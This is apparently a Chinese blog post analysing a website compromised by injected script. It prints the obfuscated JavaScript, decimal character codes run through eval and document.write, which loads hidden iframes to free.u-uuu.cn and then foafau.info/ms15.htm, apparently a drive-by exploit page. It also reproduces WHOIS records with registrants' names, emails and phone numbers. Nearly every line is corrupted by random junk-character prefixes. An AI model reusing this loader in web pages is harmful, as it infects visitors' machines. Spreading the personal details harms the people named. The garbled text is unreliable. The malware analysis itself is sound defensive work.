首发在我的博客里面，
t(vyi GB Vqc!d http://www.areway.cn/?p=175 OK-*TPrc U:@tdH+A7 Mig l 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
d%L/[.& Pxkh;:agD <script>t=’60,105,102,114,97,109,101,
Wc m'E3c, 32,115,114,99,61,104,116,116,112,58,47,47,
mm*nXJ 102,114,101,101,46,117,45,117,117,117,46,99,
w87$p821 110,47,101,114,114,111,114,46,104,116,109,
zRgGSxn 32,119,105,100,116,104,61,49,48,48,32,104,
FWp ?l 101,105,103,104,116,61,48,62,60,47,105,102,
[5!{>L` 114,97,109,101,62′;
OrL4G
`O t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
vqVwo\oEdU pI. 8Ip_r <script>t=’60,105,102,114,97,109,101,32,115,
hW~UJ/$ 114,99,61,104,116,116,112,58,47,47,102,114,
_V8;dv8 101,101,46,117,45,117,117,117,46,99,110,47,
Z<=L 101,114,114,111,114,46,104,116,109,32,119,
SY:I SzB} 105,100,116,104,61,49,48,48,32,104,101,105,
] R!YRu 103,104,116,61,48,62,60,47,105,102,114,97,
W Atv4 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
m$hkmD| document.write(t);</script>
6Z=Qs=q 7hLh} <html xmlns=”
VV 54$a http://www.w3.org/1999/xhtml +~P_o _M “>
zN)) .a <head>
z TPNQ0 =| <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
5yj# 9H <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
bVa?yWb. <title>首页 - 爱生活家庭网
x TH3g^E z6,E} Y 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Q W c^}#!! 转换字符串后的大概内容是（谁点击后果自付）：
d0Ub t <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
sX}#L _7qa~7?f 查询玉米u-uuu.cn的详细信息：
Qc tzIC#;k Domain Name: u-uuu.cn
!) `*e>]x ROID: 20070901s10001s64972306-cn
B va2f:)K| Domain Status: ok
*5hbD-a: Registrant Organization: 王雷
\L}7.fkb8 Registrant Name: 王雷
'n\P S,[1R Administrative Email:
czlovexs@126.com =&Tuh} Sponsoring Registrar: 北京万网志成科技有限公司
%]4=D)Om Name Server:ns.yovole.com
9x8Vsd Name Server:ns1.yovole.com
`ueOb Registration Date: 2007-09-01 17:54
CvEIcm=t Expiration Date: 2008-09-01 17:54
Nz*,m'-1e 最后PING了一下地址 都没有什么….
{.;qz4d` bR:hu}YS 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
P*U^,Jh< <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
suFk<^3 <script language=”javascript” src=”
5DkEJk7a http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script
3Z`
wU >
GZn=Hgv8 这个玉米应该有可能是木马作者的：
\}Iq-Je foafau.info的详细信息：
%" "h:1/S Access to INFO WHOIS information is provided to assist persons in
iE_[]Vgc determining the contents of a domain name registration record in the
>LH}A6dUC Afilias registry database. The data in this record is provided by
=w"Kkj>%oh Afilias Limited for informational purposes only, and Afilias does not
I36%oA guarantee its accuracy. This service is intended only for query-based
J6>tGKa+e access. You agree that you will use this data only for lawful purposes
kd]CV7(7 and that, under no circumstances will you use this data to: (a) allow,
lk R^2P enable, or otherwise support the transmission by e-mail, telephone, or
7 &% HE\ facsimile of mass unsolicited, commercial advertising or solicitations
?2\oi *$ to entities other than the data recipient’s own existing customers; or
Tow! 5V AM (b) enable high volume, automated, electronic processes that send
@0NWc
c+ queries or data to the systems of Registry Operator, a Registrar, or
bu $u@:q 6 Afilias except as reasonably necessary to register domain names or
>ZeARCf"f modify existing registrations. All rights reserved. Afilias reserves
BSJS4+,E the right to modify these terms at any time. By submitting this query,
D@ !r?E` you agree to abide by this policy.
[?qzMFb Domain ID:D22418703-LRMS
WSv%Rxr8L Domain Name:FOAFAU.INFO
)54a' Hp Created On:20-Nov-2007 16:05:42 UTC
YU )%-V\ Last Updated On:20-Nov-2007 16:05:44 UTC
._<,
Eodv Expiration Date:20-Nov-2008 16:05:42 UTC
r ?<kWR?w Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
=PNkzFU o Status:CLIENT DELETE PROHIBITED
9}Z;(,6/.\ Status:CLIENT RENEW PROHIBITED
bAN>\zG+ Status:CLIENT TRANSFER PROHIBITED
k'Pv Ql"I Status:CLIENT UPDATE PROHIBITED
x >tm[k Status:TRANSFER PROHIBITED
bmi",UZ:F Registrant ID:GODA-040110615
~RwoktO Registrant Name:liu hong
Gm 9 Registrant Organization:
w Jp 1Fl~ Registrant Street1:beijing
s,!vBSn8 Registrant Street2:
5JK'2J& Registrant Street3:
%hw4IcWJ| Registrant City:beijing
9V&+xbR& Registrant State/Province:
6 A|XB3 Registrant Postal Code:100000
5} ur,0{ Registrant Country:CN
bb\XZ~)F Registrant Phone:+86.860108888777
Qy}pn=#Q Registrant Phone Ext.:
JKO *bbj Registrant FAX:
=h
+SZXe<r Registrant FAX Ext.:
hA1B C3 Registrant Email:bbbshiji@163.com
G (Hr*T% Admin ID:GODA-240110615
MU2kA&LH Admin Name:liu hong
Iw)m9h Admin Organization:
L;L_$hu) Admin Street1:beijing
:oC;.u<*8 Admin Street2:
< 1 m ` Admin Street3:
M"{*))O\-c Admin City:beijing
ad47 4 2 Admin State/Province:
hNkv lk'Ui Admin Postal Code:100000
h6<i,1gQ1 Admin Country:CN
s|c}9/Xe) Admin Phone:+86.860108888777
>"b\$",~6 Admin Phone Ext.:
MZcvr 9y Admin FAX:
# Cy3x-! Admin FAX Ext.:
7r)]9_[( Admin Email:bbbshiji@163.com
qdKqc,R1{ Billing ID:GODA-340110615
V*( x@pF Billing Name:liu hong
61&{I>~1 Billing Organization:
(J nEso-V Billing Street1:beijing
T"C.>G'[B Billing Street2:
@|">j#0 Billing Street3:
)D'# >!Y Billing City:beijing
d7QUg 6= Billing State/Province:
tSo F!@6 Billing Postal Code:100000
COw!a\J l Billing Country:CN
"iX\U'` Billing Phone:+86.860108888777
r2i]9>w Billing Phone Ext.:
upZc~k!1\ Billing FAX:
"*l{ m2" Billing FAX Ext.:
mJ5%+.V Billing Email:bbbshiji@163.com
DcM/p8da Tech ID:GODA-140110615
fZsw+PSy Tech Name:liu hong
IuAu_`,Ndi Tech Organization:
T<Q a`|5 > Tech Street1:beijing
}2m>S6""A Tech Street2:
%Ny1H/@Q1+ Tech Street3:
dV'^K%# Tech City:beijing
./0wt+ Tech State/Province:
Z(R0IW Tech Postal Code:100000
gp $Rf9\ Tech Country:CN
0L#i c61U Tech Phone:+86.860108888777
QXL .4r% Tech Phone Ext.:
~OxFgKn23& Tech FAX:
@]2aPs} }6 Tech FAX Ext.:
/Ix5`Q) Tech Email:bbbshiji@163.com
NRT]dYf"z Name Server:NS27.DOMAINCONTROL.COM
8<C@I/ Name Server:NS28.DOMAINCONTROL.COM
g=q aq
Name Server:
Lpkx$QZ Name Server:
yJ0 %6],^g Name Server:
5jwv! L<n Name Server:
M
l @F Name Server:
4E2/?3 D Name Server:
! ]D`|HoW Name Server:
r7R.dD /. Name Server:
jV%=YapF Name Server:
I_Gz~ qk6 Name Server:
%eIaH!x: Name Server:
8Lx1XbwK J` gG`? 接着下载每个文件里面的代码：
6<QC|>p 一步一步看..
N| >JLZ> 
|>'N^ 
"p|.[d 
hAc| a9 o 
OgC,oj,!/ 
5p:BHw;%; 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
